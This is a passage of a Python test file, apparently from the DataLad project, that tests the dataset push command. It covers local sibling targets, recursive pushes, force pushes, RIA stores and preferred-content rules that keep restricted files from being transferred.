below\\n target.config.set(\\n 'receive.denyCurrentBranch', 'updateInstead',\\n scope='local')\\n else:\\n target = GitRepo(path=path, bare=bare, create=True)\\n ds.siblings('add', name=name, url=path, result_renderer='disabled')\\n if annex and not bare and target.is_managed_branch():\\n # maximum complication\\n # the target repo already has a commit that is unrelated\\n # to the source repo, because it has built a reference\\n # commit for the managed branch.\\n # the only sane approach is to let git-annex establish a shared\\n # history\\n if AnnexRepo.git_annex_version > \\\"8.20210631\\\":\\n ds.repo.call_annex(['sync', '--allow-unrelated-histories'])\\n else:\\n ds.repo.call_annex(['sync'])\\n ds.repo.call_annex(['sync', '--cleanup'])\\n return target\\n\\n\\n@with_tempfile(mkdir=True)\\n@with_tempfile(mkdir=True)\\ndef check_push(annex, src_path, dst_path):\\n # prepare src\\n src = Dataset(src_path).create(annex=annex)\\n src_repo = src.repo\\n # push should not add branches to the local dataset\\n orig_branches = src_repo.get_branches()\\n assert_not_in('synced/' + DEFAULT_BRANCH, orig_branches)\\n\\n res = src.push(on_failure='ignore')\\n assert_result_count(res, 1)\\n assert_in_results(\\n res, status='impossible',\\n message='No push target given, and none could be auto-detected, '\\n 'please specify via --to')\\n eq_(orig_branches, src_repo.get_branches())\\n # target sibling\\n target = mk_push_target(src, 'target', dst_path, annex=annex)\\n eq_(orig_branches, src_repo.get_branches())\\n\\n res = src.push(to=\\\"target\\\")\\n eq_(orig_branches, src_repo.get_branches())\\n assert_result_count(res, 2 if annex else 1)\\n assert_in_results(\\n res,\\n action='publish', status='ok', target='target',\\n refspec=DEFAULT_REFSPEC,\\n operations=['new-branch'])\\n\\n assert_repo_status(src_repo, annex=annex)\\n eq_(list(target.get_branch_commits_(DEFAULT_BRANCH)),\\n list(src_repo.get_branch_commits_(DEFAULT_BRANCH)))\\n\\n # configure a default merge/upstream target\\n src.config.set('branch.{}.remote'.format(DEFAULT_BRANCH),\\n 'target', scope='local')\\n src.config.set('branch.{}.merge'.format(DEFAULT_BRANCH),\\n DEFAULT_BRANCH, scope='local')\\n\\n # don't fail when doing it again, no explicit target specification\\n # needed anymore\\n res = src.push()\\n eq_(orig_branches, src_repo.get_branches())\\n # and nothing is pushed\\n assert_status('notneeded', res)\\n\\n assert_repo_status(src_repo, annex=annex)\\n eq_(list(target.get_branch_commits_(DEFAULT_BRANCH)),\\n list(src_repo.get_branch_commits_(DEFAULT_BRANCH)))\\n\\n # some modification:\\n (src.pathobj / 'test_mod_file').write_text(\\\"Some additional stuff.\\\")\\n src.save(to_git=True, message=\\\"Modified.\\\")\\n (src.pathobj / 'test_mod_annex_file').write_text(\\\"Heavy stuff.\\\")\\n src.save(to_git=not annex, message=\\\"Modified again.\\\")\\n assert_repo_status(src_repo, annex=annex)\\n\\n # we could say since='HEAD~2' to make things fast, or we are lazy\\n # and say since='^' to indicate the state of the tracking remote\\n # which is the same, because we made to commits since the last push.\\n res = src.push(to='target', since=\\\"^\\\", jobs=2)\\n assert_in_results(\\n res,\\n action='publish', status='ok', target='target',\\n refspec=DEFAULT_REFSPEC,\\n # we get to see what happened\\n operations=['fast-forward'])\\n if annex:\\n # we got to see the copy result for the annexed files\\n assert_in_results(\\n res,\\n action='copy',\\n status='ok',\\n path=str(src.pathobj / 'test_mod_annex_file'))\\n # we published, so we can drop and reobtain\\n ok_(src_repo.file_has_content('test_mod_annex_file'))\\n src_repo.drop('test_mod_annex_file')\\n ok_(not src_repo.file_has_content('test_mod_annex_file'))\\n src_repo.get('test_mod_annex_file')\\n ok_(src_repo.file_has_content('test_mod_annex_file'))\\n ok_file_has_content(\\n src_repo.pathobj / 'test_mod_annex_file',\\n 'Heavy stuff.')\\n\\n eq_(list(target.get_branch_commits_(DEFAULT_BRANCH)),\\n list(src_repo.get_branch_commits_(DEFAULT_BRANCH)))\\n if not (annex and src_repo.is_managed_branch()):\\n # the following doesn't make sense in managed branches, because\\n # a commit that could be amended is no longer the last commit\\n # of a branch after a sync has happened (which did happen\\n # during the last push above\\n\\n # amend and change commit msg in order to test for force push:\\n src_repo.commit(\\\"amended\\\", options=['--amend'])\\n # push should be rejected (non-fast-forward):\\n res = src.push(to='target', since='HEAD~2', on_failure='ignore')\\n # fails before even touching the annex branch\\n assert_in_results(\\n res,\\n action='publish', status='error', target='target',\\n refspec=DEFAULT_REFSPEC,\\n operations=['rejected', 'error'])\\n # push with force=True works:\\n res = src.push(to='target', since='HEAD~2', force='gitpush')\\n assert_in_results(\\n res,\\n action='publish', status='ok', target='target',\\n refspec=DEFAULT_REFSPEC,\\n operations=['forced-update'])\\n eq_(list(target.get_branch_commits_(DEFAULT_BRANCH)),\\n list(src_repo.get_branch_commits_(DEFAULT_BRANCH)))\\n\\n # we do not have more branches than we had in the beginning\\n # in particular no 'synced/<default branch>'\\n eq_(orig_branches, src_repo.get_branches())\\n\\n\\n@pytest.mark.parametrize(\\\"annex\\\", [False, True])\\ndef test_push(annex):\\n check_push(annex)\\n\\n\\ndef check_datasets_order(res, order='bottom-up'):\\n \\\"\\\"\\\"Check that all type=dataset records not violating the expected order\\n\\n it is somewhat weak test, i.e. records could be produced so we\\n do not detect that order is violated, e.g. a/b c/d would satisfy\\n either although they might be neither depth nor breadth wise. But\\n this test would allow to catch obvious violations like a, a/b, a\\n \\\"\\\"\\\"\\n prev = None\\n for r in res:\\n if r.get('type') != 'dataset':\\n continue\\n if prev and r['path'] != prev:\\n if order == 'bottom-up':\\n assert_false(path_startswith(r['path'], prev))\\n elif order == 'top-down':\\n assert_false(path_startswith(prev, r['path']))\\n else:\\n raise ValueError(order)\\n prev = r['path']\\n\\n\\n@slow # 33sec on Yarik's laptop\\n@with_tempfile\\n@with_tempfile(mkdir=True)\\n@with_tempfile(mkdir=True)\\n@with_tempfile(mkdir=True, suffix='sub')\\n@with_tempfile(mkdir=True, suffix='subnoannex')\\n@with_tempfile(mkdir=True, suffix='subsub')\\ndef test_push_recursive(\\n origin_path=None, src_path=None, dst_top=None, dst_sub=None, dst_subnoannex=None, dst_subsub=None):\\n # dataset with two submodules and one subsubmodule\\n origin = Dataset(origin_path).create()\\n origin_subm1 = origin.create('sub m')\\n origin_subm1.create('subsub m')\\n origin.create('subm noannex', annex=False)\\n origin.save()\\n assert_repo_status(origin.path)\\n # prepare src as a fresh clone with all subdatasets checkout out recursively\\n # running on a clone should make the test scenario more different than\\n # test_push(), even for the pieces that should be identical\\n top = Clone.__call__(source=origin.path, path=src_path)\\n subs = top.get('.', recursive=True, get_data=False, result_xfm='datasets')\\n # order for '.' should not be relied upon, so sort by path\\n sub, subsub, subnoannex = sorted(subs, key=lambda ds: ds.path)\\n\\n target_top = mk_push_target(top, 'target', dst_top, annex=True)\\n # subdatasets have no remote yet, so recursive publishing should fail:\\n res = top.push(to=\\\"target\\\", recursive=True, on_failure='ignore')\\n check_datasets_order(res)\\n assert_in_results(\\n res, path=top.path, type='dataset',\\n refspec=DEFAULT_REFSPEC,\\n operations=['new-branch'], action='publish', status='ok',\\n target='target')\\n for d in (sub, subsub, subnoannex):\\n assert_in_results(\\n res, status='error', type='dataset', path=d.path,\\n message=(\\\"Unknown target sibling '%s'.\\\",\\n 'target'))\\n # now fix that and set up targets for the submodules\\n target_sub = mk_push_target(sub, 'target', dst_sub, annex=True)\\n target_subnoannex = mk_push_target(\\n subnoannex, 'target', dst_subnoannex, annex=False)\\n target_subsub = mk_push_target(subsub, 'target', dst_subsub, annex=True)\\n\\n # and same push call as above\\n res = top.push(to=\\\"target\\\", recursive=True)\\n check_datasets_order(res)\\n # topds skipped\\n assert_in_results(\\n res, path=top.path, type='dataset',\\n action='publish', status='notneeded', target='target')\\n # the rest pushed\\n for d in (sub, subsub, subnoannex):\\n assert_in_results(\\n res, status='ok', type='dataset', path=d.path,\\n refspec=DEFAULT_REFSPEC)\\n # all corresponding branches match across all datasets\\n for s, d in zip((top, sub, subnoannex, subsub),\\n (target_top, target_sub, target_subnoannex,\\n target_subsub)):\\n eq_(list(s.repo.get_branch_commits_(DEFAULT_BRANCH)),\\n list(d.get_branch_commits_(DEFAULT_BRANCH)))\\n if s != subnoannex:\\n eq_(list(s.repo.get_branch_commits_(\\\"git-annex\\\")),\\n list(d.get_branch_commits_(\\\"git-annex\\\")))\\n\\n # rerun should not result in further pushes of the default branch\\n res = top.push(to=\\\"target\\\", recursive=True)\\n check_datasets_order(res)\\n assert_not_in_results(\\n res, status='ok', refspec=DEFAULT_REFSPEC)\\n assert_in_results(\\n res, status='notneeded', refspec=DEFAULT_REFSPEC)\\n\\n # now annex a file in subsub\\n test_copy_file = subsub.pathobj / 'test_mod_annex_file'\\n test_copy_file.write_text(\\\"Heavy stuff.\\\")\\n # save all the way up\\n assert_status(\\n ('ok', 'notneeded'),\\n top.save(message='subsub got something', recursive=True))\\n assert_repo_status(top.path)\\n # publish straight up, should be smart by default\\n res = top.push(to=\\\"target\\\", recursive=True)\\n check_datasets_order(res)\\n # we see 3 out of 4 datasets pushed (sub noannex was left unchanged)\\n for d in (top, sub, subsub):\\n assert_in_results(\\n res, status='ok', type='dataset', path=d.path,\\n refspec=DEFAULT_REFSPEC)\\n # file content copied too\\n assert_in_results(\\n res,\\n action='copy',\\n status='ok',\\n path=str(test_copy_file))\\n # verify it is accessible, drop and bring back\\n assert_status('ok', top.drop(str(test_copy_file)))\\n ok_(not subsub.repo.file_has_content('test_mod_annex_file'))\\n top.get(test_copy_file)\\n ok_file_has_content(test_copy_file, 'Heavy stuff.')\\n\\n # make two modification\\n (sub.pathobj / 'test_mod_annex_file').write_text('annex')\\n (subnoannex.pathobj / 'test_mod_file').write_text('git')\\n # save separately\\n top.save(sub.pathobj, message='annexadd', recursive=True)\\n top.save(subnoannex.pathobj, message='gitadd', recursive=True)\\n # now only publish the latter one\\n res = top.push(to=\\\"target\\\", since=DEFAULT_BRANCH + '~1', recursive=True)\\n # nothing copied, no reports on the other modification\\n assert_not_in_results(res, action='copy')\\n assert_not_in_results(res, path=sub.path)\\n for d in (top, subnoannex):\\n assert_in_results(\\n res, status='ok', type='dataset', path=d.path,\\n refspec=DEFAULT_REFSPEC)\\n # an unconditional push should now pick up the remaining changes\\n res = top.push(to=\\\"target\\\", recursive=True)\\n assert_in_results(\\n res,\\n action='copy',\\n status='ok',\\n path=str(sub.pathobj / 'test_mod_annex_file'))\\n assert_in_results(\\n res, status='ok', type='dataset', path=sub.path,\\n refspec=DEFAULT_REFSPEC)\\n for d in (top, subnoannex, subsub):\\n assert_in_results(\\n res, status='notneeded', type='dataset', path=d.path,\\n refspec=DEFAULT_REFSPEC)\\n\\n # if noannex target gets some annex, we still should not fail to push\\n target_subnoannex.call_git(['annex', 'init'])\\n # just to ensure that we do need something to push\\n (subnoannex.pathobj / \\\"newfile\\\").write_text(\\\"content\\\")\\n subnoannex.save()\\n res = subnoannex.push(to=\\\"target\\\")\\n assert_in_results(res, status='ok', type='dataset')\\n\\n\\n@slow # 12sec on Yarik's laptop\\n@with_tempfile(mkdir=True)\\n@with_tempfile(mkdir=True)\\n@with_tempfile(mkdir=True)\\n@with_tempfile(mkdir=True)\\ndef test_push_subds_no_recursion(src_path=None, dst_top=None, dst_sub=None, dst_subsub=None):\\n # dataset with one submodule and one subsubmodule\\n top = Dataset(src_path).create()\\n sub = top.create('sub m')\\n test_file = sub.pathobj / 'subdir' / 'test_file'\\n test_file.parent.mkdir()\\n test_file.write_text('some')\\n subsub = sub.create(sub.pathobj / 'subdir' / 'subsub m')\\n top.save(recursive=True)\\n assert_repo_status(top.path)\\n target_top = mk_push_target(top, 'target', dst_top, annex=True)\\n target_sub = mk_push_target(sub, 'target', dst_sub, annex=True)\\n target_subsub = mk_push_target(subsub, 'target', dst_subsub, annex=True)\\n # now publish, but NO recursion, instead give the parent dir of\\n # both a subdataset and a file in the middle subdataset\\n res = top.push(\\n to='target',\\n # give relative to top dataset to elevate the difficulty a little\\n path=str(test_file.relative_to(top.pathobj).parent))\\n assert_status('ok', res)\\n assert_in_results(res, action='publish', type='dataset', path=top.path)\\n assert_in_results(res, action='publish', type='dataset', path=sub.path)\\n assert_in_results(res, action='copy', type='file', path=str(test_file))\\n # the lowest-level subdataset isn't touched\\n assert_not_in_results(\\n res, action='publish', type='dataset', path=subsub.path)\\n\\n\\n@with_tempfile(mkdir=True)\\n@with_tempfile(mkdir=True)\\ndef test_force_checkdatapresent(srcpath=None, dstpath=None):\\n src = Dataset(srcpath).create()\\n target = mk_push_target(src, 'target', dstpath, annex=True, bare=True)\\n (src.pathobj / 'test_mod_annex_file').write_text(\\\"Heavy stuff.\\\")\\n src.save(to_git=False, message=\\\"New annex file\\\")\\n assert_repo_status(src.path, annex=True)\\n whereis_prior = src.repo.whereis(files=['test_mod_annex_file'])[0]\\n\\n res = src.push(to='target', data='nothing')\\n # nothing reported to be copied\\n assert_not_in_results(res, action='copy')\\n # we got the git-push nevertheless\\n eq_(src.repo.get_hexsha(DEFAULT_BRANCH), target.get_hexsha(DEFAULT_BRANCH))\\n # nothing moved\\n eq_(whereis_prior, src.repo.whereis(files=['test_mod_annex_file'])[0])\\n\\n # now a push without forced no-transfer\\n # we do not give since, so the non-transfered file is picked up\\n # and transferred\\n res = src.push(to='target', force=None)\\n # no branch change, done before\\n assert_in_results(res, action='publish', status='notneeded',\\n refspec=DEFAULT_REFSPEC)\\n # but availability update\\n assert_in_results(res, action='publish', status='ok',\\n refspec='refs/heads/git-annex:refs/heads/git-annex')\\n assert_in_results(res, status='ok',\\n path=str(src.pathobj / 'test_mod_annex_file'),\\n action='copy')\\n # whereis info reflects the change\\n ok_(len(whereis_prior) < len(\\n src.repo.whereis(files=['test_mod_annex_file'])[0]))\\n\\n # do it yet again will do nothing, because all is up-to-date\\n assert_status('notneeded', src.push(to='target', force=None))\\n # an explicit reference point doesn't change that\\n assert_status('notneeded',\\n src.push(to='target', force=None, since='HEAD~1'))\\n\\n # now force data transfer\\n res = src.push(to='target', force='checkdatapresent')\\n # no branch change, done before\\n assert_in_results(res, action='publish', status='notneeded',\\n refspec=DEFAULT_REFSPEC)\\n # no availability update\\n assert_in_results(res, action='publish', status='notneeded',\\n refspec='refs/heads/git-annex:refs/heads/git-annex')\\n # but data transfer\\n assert_in_results(res, status='ok',\\n path=str(src.pathobj / 'test_mod_annex_file'),\\n action='copy')\\n\\n # force data transfer, but data isn't available\\n src.repo.drop('test_mod_annex_file')\\n res = src.push(to='target', path='.', force='checkdatapresent', on_failure='ignore')\\n assert_in_results(res, status='impossible',\\n path=str(src.pathobj / 'test_mod_annex_file'),\\n action='copy',\\n message='Slated for transport, but no content present')\\n\\n\\n@known_failure_githubci_win # recent git-annex, https://github.com/datalad/datalad/issues/7185\\n@with_tempfile(mkdir=True)\\n@with_tree(tree={'ria-layout-version': '1\\\\n'})\\ndef test_ria_push(srcpath=None, dstpath=None):\\n # complex test involving a git remote, a special remote, and a\\n # publication dependency\\n src = Dataset(srcpath).create()\\n testfile = src.pathobj / 'test_mod_annex_file'\\n testfile.write_text(\\\"Heavy stuff.\\\")\\n src.save()\\n assert_status(\\n 'ok',\\n src.create_sibling_ria(\\n \\\"ria+{}\\\".format(get_local_file_url(dstpath, compatibility='git')),\\n \\\"datastore\\\", new_store_ok=True))\\n res = src.push(to='datastore')\\n assert_in_results(\\n res, action='publish', target='datastore', status='ok',\\n refspec=DEFAULT_REFSPEC)\\n assert_in_results(\\n res, action='publish', target='datastore', status='ok',\\n refspec='refs/heads/git-annex:refs/heads/git-annex')\\n assert_in_results(\\n res, action='copy', target='datastore-storage', status='ok',\\n path=str(testfile))\\n\\n\\n@with_tempfile(mkdir=True)\\n@with_tempfile(mkdir=True)\\ndef test_gh1426(origin_path=None, target_path=None):\\n # set up a pair of repos, one the published copy of the other\\n origin = Dataset(origin_path).create()\\n target = mk_push_target(\\n origin, 'target', target_path, annex=True, bare=False)\\n origin.push(to='target')\\n assert_repo_status(origin.path)\\n assert_repo_status(target.path)\\n eq_(origin.repo.get_hexsha(DEFAULT_BRANCH),\\n target.get_hexsha(DEFAULT_BRANCH))\\n\\n # gist of #1426 is that a newly added subdataset does not cause the\\n # superdataset to get published\\n origin.create('sub')\\n assert_repo_status(origin.path)\\n neq_(origin.repo.get_hexsha(DEFAULT_BRANCH),\\n target.get_hexsha(DEFAULT_BRANCH))\\n # now push\\n res = origin.push(to='target')\\n assert_result_count(\\n res, 1, status='ok', type='dataset', path=origin.path,\\n action='publish', target='target', operations=['fast-forward'])\\n eq_(origin.repo.get_hexsha(DEFAULT_BRANCH),\\n target.get_hexsha(DEFAULT_BRANCH))\\n\\n\\n@skip_if_adjusted_branch # gh-4075\\n@skip_if_on_windows # create_sibling incompatible with win servers\\n@skip_ssh\\n@with_tree(tree={'1': '123'})\\n@with_tempfile(mkdir=True)\\n@serve_path_via_http\\ndef test_publish_target_url(src=None, desttop=None, desturl=None):\\n # https://github.com/datalad/datalad/issues/1762\\n ds = Dataset(src).create(force=True)\\n ds.save('1')\\n ds.create_sibling('ssh://datalad-test:%s/subdir' % desttop,\\n name='target',\\n target_url=desturl + 'subdir/.git')\\n results = ds.push(to='target')\\n assert results\\n ok_file_has_content(Path(desttop, 'subdir', '1'), '123')\\n\\n\\n@with_tempfile(mkdir=True)\\n@with_tempfile()\\n@with_tempfile()\\n@with_tempfile()\\ndef test_gh1763(src=None, target1=None, target2=None, target3=None):\\n # this test is very similar to test_publish_depends, but more\\n # comprehensible, and directly tests issue 1763\\n src = Dataset(src).create(force=True, **ckwa)\\n targets = [\\n mk_push_target(src, f'target{i}', t, bare=False)\\n for i, t in enumerate([target1, target2, target3])\\n ]\\n src.siblings('configure', name='target0',\\n publish_depends=['target1', 'target2'],\\n **ckwa)\\n # a file to annex\\n (src.pathobj / 'probe1').write_text('probe1')\\n src.save('probe1', to_git=False, **ckwa)\\n # make sure the probe is annexed, not straight in Git\\n assert_in('probe1', src.repo.get_annexed_files(with_content_only=True))\\n # publish to target0, must handle dependency\\n src.push(to='target0', **ckwa)\\n for target in targets:\\n # with a managed branch we are pushing into the corresponding branch\\n # and do not see a change in the worktree\\n if not target.is_managed_branch():\\n # direct test for what is in the checkout\\n assert_in(\\n 'probe1',\\n target.get_annexed_files(with_content_only=True))\\n # ensure git-annex knows this target has the file\\n assert_in(target.config.get('annex.uuid'),\\n src.repo.whereis(['probe1'])[0])\\n\\n\\n@with_tempfile()\\n@with_tempfile()\\ndef test_gh1811(srcpath=None, clonepath=None):\\n orig = Dataset(srcpath).create()\\n (orig.pathobj / 'some').write_text('some')\\n orig.save()\\n clone = Clone.__call__(source=orig.path, path=clonepath)\\n (clone.pathobj / 'somemore').write_text('somemore')\\n clone.save()\\n clone.repo.call_git(['checkout', 'HEAD~1'])\\n res = clone.push(to=DEFAULT_REMOTE, on_failure='ignore')\\n assert_result_count(res, 1)\\n assert_result_count(\\n res, 1,\\n path=clone.path, type='dataset', action='publish',\\n status='impossible',\\n message='There is no active branch, cannot determine remote '\\n 'branch',\\n )\\n\\n\\n# FIXME: on crippled FS post-update hook enabling via create-sibling doesn't\\n# work ATM\\n@skip_if_adjusted_branch\\n@with_tempfile()\\n@with_tempfile()\\ndef test_push_wanted(srcpath=None, dstpath=None):\\n src = Dataset(srcpath).create()\\n (src.pathobj / 'data.0').write_text('0')\\n (src.pathobj / 'secure.1').write_text('1')\\n (src.pathobj / 'secure.2').write_text('2')\\n src.save()\\n\\n # Dropping a file to mimic a case of simply not having it locally (thus not\\n # to be \\\"pushed\\\")\\n src.drop('secure.2', reckless='kill')\\n\\n # Annotate sensitive content, actual value \\\"verysecure\\\" does not matter in\\n # this example\\n src.repo.set_metadata(\\n add={'distribution-restrictions': 'verysecure'},\\n files=['secure.1', 'secure.2'])\\n\\n src.create_sibling(\\n dstpath,\\n annex_wanted=\\\"not metadata=distribution-restrictions=*\\\",\\n name='target',\\n )\\n # check that wanted is obeyed, since set in sibling configuration\\n res = src.push(to='target')\\n assert_in_results(\\n res, action='copy', path=str(src.pathobj / 'data.0'), status='ok')\\n for p in ('secure.1', 'secure.2'):\\n assert_not_in_results(res, path=str(src.pathobj / p))\\n assert_status('notneeded', src.push(to='target'))\\n\\n # check the target to really make sure\\n dst = Dataset(dstpath)\\n # normal file, yes\\n eq_((dst.pathobj / 'data.0').read_text(), '0')\\n # secure file, no\\n if dst.repo.is_managed_branch():\\n neq_((dst.pathobj / 'secure.1').read_text(), '1')\\n else:\\n assert_raises(FileNotFoundError, (dst.pathobj / 'secure.1').read_text)\\n\\n # reset wanted config, which must enable push of secure file\\n src.repo.set_preferred_content('wanted', '', remote='target')\\n res = src.push(to='target')\\n assert_in_results(res, path=str(src.pathobj / 'secure.1'))\\n eq_((dst.pathobj / 'secure.1').read_text(), '1')\\n\\n\\n# FIXME: on crippled FS post-update hook enabling via create-sibling doesn't\\n# work ATM\\n@skip_if_adjusted_branch\\n@slow # 10sec on Yarik's laptop\\n@with_tempfile(mkdir=True)\\ndef test_auto_data_transfer(path=None):\\n path = Path(path)\\n ds_a = Dataset(path / \\\"a\\\").create()\\n (ds_a.pathobj / \\\"foo.dat\\\").write_text(\\\"foo\\\")\\n ds_a.save()\\n\\n # Should be the default, but just in case.\\n ds_a.repo.config.set(\\\"annex.numcopies\\\", \\\"1\\\", scope=\\\"local\\\")\\n ds_a.create_sibling(str(path / \\\"b\\\"), name=\\\"b\\\")\\n\\n # With numcopies=1, no data is copied with data=\\\"auto\\\".\\n res = ds_a.push(to=\\\"b\\\", data=\\\"auto\\\", since=None)\\n assert_not_in_results(res, action=\\\"copy\\\")\\n\\n # Even when a file is explicitly given.\\n res = ds_a.push(to=\\\"b\\\", path=\\\"foo.dat\\\", data=\\\"auto\\\", since=None)\\n assert_not_in_results(res, action=\\\"copy\\\")\\n\\n # numcopies=2 changes that.\\n ds_a.repo.config.set(\\\"annex.numcopies\\\", \\\"2\\\", scope=\\\"local\\\")\\n res = ds_a.push(to=\\\"b\\\", data=\\\"auto\\\", since=None)\\n assert_in_results(\\n res, action=\\\"copy\\\", target=\\\"b\\\", status=\\\"ok\\\",\\n path=str(ds_a.pathobj / \\\"foo.dat\\\"))\\n\\n # --since= limits the files considered by --auto.\\n (ds_a.pathobj / \\\"bar.dat\\\").write_text(\\\"bar\\\")\\n ds_a.save()\\n (ds_a.pathobj / \\\"baz.dat\\\").write_text(\\\"baz\\\")\\n ds_a.save()\\n res = ds_a.push(to=\\\"b\\\", data=\\\"auto\\\", since=\\\"HEAD~1\\\")\\n assert_not_in_results(\\n res,\\n action=\\\"copy\\\", path=str(ds_a.pathobj / \\\"bar.dat\\\"))\\n assert_in_results(\\n res,\\n action=\\\"copy\\\", target=\\\"b\\\", status=\\\"ok\\\",\\n path=str(ds_a.pathobj / \\\"baz.dat\\\"))\\n\\n # --auto also considers preferred content.\\n ds_a.repo.config.unset(\\\"annex.numcopies\\\", scope=\\\"local\\\")\\n ds_a.repo.set_preferred_content(\\\"wanted\\\", \\\"nothing\\\", remote=\\\"b\\\")\\n res = ds_a.push(to=\\\"b\\\", data=\\\"auto\\\", since=None)\\n assert_not_in_results(\\n res,\\n action=\\\"copy\\\", path=str(ds_a.pathobj / \\\"bar.dat\\\"))\\n\\n ds_a.repo.set_preferred_content(\\\"wanted\\\", \\\"anything\\\", remote=\\\"b\\\")\\n res = ds_a.push(to=\\\"b\\\", data=\\\"auto\\\", since=None)\\n assert_in_results(\\n res,\\n action=\\\"copy\\\", target=\\\"b\\\", status=\\\"ok\\\",\\n path=str(ds_a.pathobj / \\\"bar.dat\\\"))\\n\\n\\n# FIXME: on crippled FS post-update hook enabling via create-sibling doesn't\\n# work ATM\\n@skip_if_adjusted_branch\\n@slow # 16sec on Yarik's laptop\\n@with_tempfile(mkdir=True)\\ndef test_auto_if_wanted_data_transfer_path_restriction(path=None):\\n path = Path(path)\\n ds_a = Dataset(path / \\\"a\\\").create()\\n ds_a_sub0 = ds_a.create(\\\"sub0\\\")\\n ds_a_sub1 = ds_a.create(\\\"sub1\\\")\\n\\n for ds in [ds_a, ds_a_sub0, ds_a_sub1]:\\n (ds.pathobj / \\\"sec.dat\\\").write_text(\\\"sec\\\")\\n (ds.pathobj / \\\"reg.dat\\\").write_text(\\\"reg\\\")\\n ds_a.save(recursive=True)\\n\\n ds_a.create_sibling(str(path / \\\"b\\\"), name=\\\"b\\\",\\n annex_wanted=\\\"not metadata=distribution-restrictions=*\\\",\\n recursive=True)\\n for ds in [ds_a, ds_a_sub0, ds_a_sub1]:\\n ds.repo.set_metadata(add={\\\"distribution-restrictions\\\": \\\"doesntmatter\\\"},\\n files=[\\\"sec.dat\\\"])\\n\\n # wanted-triggered --auto can be restricted to subdataset...\\n res = ds_a.push(to=\\\"b\\\", path=\\\"sub0\\\", data=\\\"auto-if-wanted\\\",\\n recursive=True)\\n assert_not_in_results(\\n res,\\n action=\\\"copy\\\", target=\\\"b\\\", status=\\\"ok\\\",\\n path=str(ds_a.pathobj / \\\"reg.dat\\\"))\\n assert_in_results(\\n res,\\n action=\\\"copy\\\", target=\\\"b\\\", status=\\\"ok\\\",\\n path=str(ds_a_sub0.pathobj / \\\"reg.dat\\\"))\\n assert_not_in_results(\\n res,\\n action=\\\"copy\\\", target=\\\"b\\\", status=\\\"ok\\\",\\n path=str(ds_a_sub0.pathobj / \\\"sec.dat\\\"))\\n assert_not_in_results(\\n res,\\n action=\\\"copy\\\", target=\\\"b\\\", status=\\\"ok\\\",\\n path=str(ds_a_sub1.pathobj / \\\"reg.dat\\\"))\\n\\n # ... and to a wanted file.\\n res = ds_a.push(to=\\\"b\\\", path=\\\"reg.dat\\\", data=\\\"auto-if-wanted\\\",\\n recursive=True)\\n assert_in_results(\\n res,\\n action=\\\"copy\\\", target=\\\"b\\\", status=\\\"ok\\\",\\n path=str(ds_a.pathobj / \\\"reg.dat\\\"))\\n assert_not_in_results(\\n res,\\n action=\\\"copy\\\", target=\\\"b\\\", status=\\\"ok\\\",\\n path=str(ds_a_sub1.pathobj / \\\"reg.dat\\\"))\\n\\n # But asking to transfer a file does not do it if the remote has a\\n # wanted setting and doesn't want it.\\n res = ds_a.push(to=\\\"b\\\", path=\\\"sec.dat\\\", data=\\\"auto-if-wanted\\\",\\n recursive=True)\\n assert_not_in_results(\\n res,\\n action=\\\"copy\\\", target=\\\"b\\\", status=\\\"ok\\\",\\n path=str(ds_a.pathobj / \\\"sec.dat\\\"))\\n\\n res = ds_a.push(to=\\\"b\\\", path=\\\"sec.dat\\\", data=\\\"anything\\\", recursive=True)\\n assert_in_results(\\n res,\\n action=\\\"copy\\\", target=\\\"b\\\", status=\\\"ok\\\",\\n path=str(ds_a.pathobj / \\\"sec.dat\\\"))\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_push_git_annex_branch_when_no_data(path=None):\\n path = Path(path)\\n ds = Dataset(path / \\\"a\\\").create()\\n target = mk_push_target(ds, \\\"target\\\", str(path / \\\"target\\\"),\\n annex=False, bare=True)\\n (ds.pathobj / \\\"f0\\\").write_text(\\\"0\\\")\\n ds.save()\\n ds.push(to=\\\"target\\\", data=\\\"nothing\\\")\\n assert_in(\\\"git-annex\\\",\\n {d[\\\"refname:strip=2\\\"]\\n for d in target.for_each_ref_(fields=\\\"refname:strip=2\\\")})\\n\\n\\n@known_failure_githubci_osx\\n@with_tree(tree={\\\"ds\\\": {\\\"f0\\\": \\\"0\\\", \\\"f1\\\": \\\"0\\\", \\\"f2\\\": \\\"0\\\",\\n \\\"f3\\\": \\\"1\\\",\\n \\\"f4\\\": \\\"2\\\", \\\"f5\\\": \\\"2\\\"}})\\ndef test_push_git_annex_branch_many_paths_same_data(path=None):\\n path = Path(path)\\n ds = Dataset(path / \\\"ds\\\").create(force=True)\\n ds.save()\\n mk_push_target(ds, \\\"target\\\", str(path / \\\"target\\\"),\\n annex=True, bare=False)\\n nbytes = sum(ds.repo.get_content_annexinfo(paths=[f])[f][\\\"bytesize\\\"]\\n for f in [ds.repo.pathobj / \\\"f0\\\",\\n ds.repo.pathobj / \\\"f3\\\",\\n ds.repo.pathobj / \\\"f4\\\"])\\n with swallow_logs(new_level=logging.DEBUG) as cml:\\n res = ds.push(to=\\\"target\\\")\\n assert_in(\\\"{} bytes of annex data\\\".format(nbytes), cml.out)\\n # 3 files point to content already covered by another file.\\n assert_result_count(res, 3,\\n action=\\\"copy\\\", type=\\\"file\\\", status=\\\"notneeded\\\")\\n\\n\\n@known_failure_githubci_osx\\n@with_tree(tree={\\\"ds\\\": {\\\"f0\\\": \\\"0\\\"}})\\ndef test_push_matching(path=None):\\n path = Path(path)\\n ds = Dataset(path / \\\"ds\\\").create(force=True)\\n ds.config.set('push.default', 'matching', scope='local')\\n ds.save()\\n remote_ds = mk_push_target(ds, 'local', str(path / 'dssibling'),\\n annex=True, bare=False)\\n # that fact that the next one even runs makes sure that we are in a better\\n # place than https://github.com/datalad/datalad/issues/4888\\n ds.push(to='local')\\n # and we pushed the commit in the current branch\\n eq_(remote_ds.get_hexsha(DEFAULT_BRANCH),\\n ds.repo.get_hexsha(DEFAULT_BRANCH))\\n\\n\\n@slow # can run over 30 sec when running in parallel with n=2. Cannot force serial yet, see https://github.com/pytest-dev/pytest-xdist/issues/385\\n@known_failure_githubci_win # recent git-annex, https://github.com/datalad/datalad/issues/7184\\n@with_tempfile(mkdir=True)\\n@with_tempfile(mkdir=True)\\n@with_tempfile(mkdir=True)\\ndef test_nested_pushclone_cycle_allplatforms(origpath=None, storepath=None, clonepath=None):\\n if 'DATALAD_SEED' in os.environ:\\n # we are using create-sibling-ria via the cmdline in here\\n # this will create random UUIDs for datasets\\n # however, given a fixed seed each call to this command will start\\n # with the same RNG seed, hence yield the same UUID on the same\\n # machine -- leading to a collision\\n raise SkipTest(\\n 'Test incompatible with fixed random number generator seed')\\n # the aim here is this 